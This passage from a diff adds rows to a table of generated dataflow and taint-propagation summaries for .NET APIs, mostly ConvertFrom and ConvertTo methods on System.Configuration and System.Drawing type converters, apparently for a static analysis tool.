System.Configuration;IApplicationSettingsProvider;GetPreviousVersion;(System.Configuration.SettingsContext,System.Configuration.SettingsProperty);Argument[this];ReturnValue;taint;df-generated | | System.Configuration;IConfigurationSectionHandler;Create;(System.Object,System.Object,System.Xml.XmlNode);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteIntConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteIntConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;InfiniteTimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;IntegerValidatorAttribute;get_ValidatorInstance;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;KeyValueConfigurationCollection;Add;(System.Configuration.KeyValueConfigurationElement);Argument[this];Argument[0];taint;df-generated | | System.Configuration;KeyValueConfigurationCollection;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -7142,31 +7271,51 @@ | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanMinutesOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TimeSpanSecondsOrInfiniteConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[0];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidator;TimeSpanValidator;(System.TimeSpan,System.TimeSpan,System.Boolean,System.Int64);Argument[1];Argument[this];taint;df-generated | | System.Configuration;TimeSpanValidatorAttribute;get_ValidatorInstance;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;TypeNameConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;TypeNameConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;UriSection;get_Idn;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_IriParsing;();Argument[this];ReturnValue;taint;df-generated | | System.Configuration;UriSection;get_SchemeSettings;();Argument[this];ReturnValue;taint;df-generated | @@ -7174,8 +7323,12 @@ | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;WhiteSpaceTrimStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Data.Common;DataAdapter;FillSchema;(System.Data.DataSet,System.Data.SchemaType,System.String,System.Data.IDataReader);Argument[0];ReturnValue;taint;df-generated | | System.Data.Common;DataAdapter;FillSchema;(System.Data.DataSet,System.Data.SchemaType,System.String,System.Data.IDataReader);Argument[this];ReturnValue;taint;df-generated | | System.Data.Common;DataAdapter;FillSchema;(System.Data.DataTable,System.Data.SchemaType,System.Data.IDataReader);Argument[0];ReturnValue.Element;value;dfc-generated | @@ -8467,8 +8620,12 @@ | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing.Printing;MarginsConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing.Printing;MarginsConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing.Printing;PrintDocument;add_BeginPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing.Printing;PrintDocument;add_EndPrint;(System.Drawing.Printing.PrintEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing.Printing;PrintDocument;add_PrintPage;(System.Drawing.Printing.PrintPageEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -8487,9 +8644,14 @@ | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ColorConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ColorConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ColorConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].Property[System.Drawing.Color.Name];ReturnValue;value;dfc-generated | | System.Drawing;ColorTranslator;ToHtml;(System.Drawing.Color);Argument[0].SyntheticField[System.Drawing.Color.name];ReturnValue;value;dfc-generated | @@ -8504,8 +8666,12 @@ | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;FontConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;FontConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;FontConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Graphics+DrawImageAbort;BeginInvoke;(System.IntPtr,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Drawing;Graphics+EnumerateMetafileProc;BeginInvoke;(System.Drawing.Imaging.EmfPlusRecordType,System.Int32,System.Int32,System.IntPtr,System.Drawing.Imaging.PlayRecordCallback,System.AsyncCallback,System.Object);Argument[4];Argument[4].Parameter[delegate-self];value;hq-generated | @@ -8558,8 +8724,12 @@ | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;IconConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;IconConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;Image+GetThumbnailImageAbort;BeginInvoke;(System.AsyncCallback,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Drawing;Image;GetThumbnailImage;(System.Int32,System.Int32,System.Drawing.Image+GetThumbnailImageAbort,System.IntPtr);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Drawing;ImageAnimator;Animate;(System.Drawing.Image,System.EventHandler);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -8567,44 +8737,72 @@ | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;ImageFormatConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;ImageFormatConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;ImageFormatConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;PointConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| 